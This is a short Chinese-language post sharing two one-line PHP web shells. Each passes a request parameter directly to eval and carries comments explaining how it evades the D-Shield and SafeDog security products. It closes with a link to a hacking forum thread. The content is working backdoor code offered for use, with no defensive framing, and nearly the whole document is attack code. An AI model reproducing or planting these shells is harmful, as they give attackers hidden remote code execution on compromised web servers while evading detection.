一句话木马：PHP篇

珍藏版：

一个简单的过D盾的免杀php

<?php
$ab = $_REQUEST['d'];
$a['t'] = "";//主要带对象 D盾就不管后面的了。。。
eval($a['t'].$ab);

过狗过D盾

<?php
$a = $_REQUEST['d'];//参数
$a = "$a";//狗不会二次检测
$b['test'] = "";//主要怕太特殊情况状态码:500
eval($b['test']."$a");//跟之前一样。。

参考链接：https://www.t00ls.net/thread-49715-1-1.html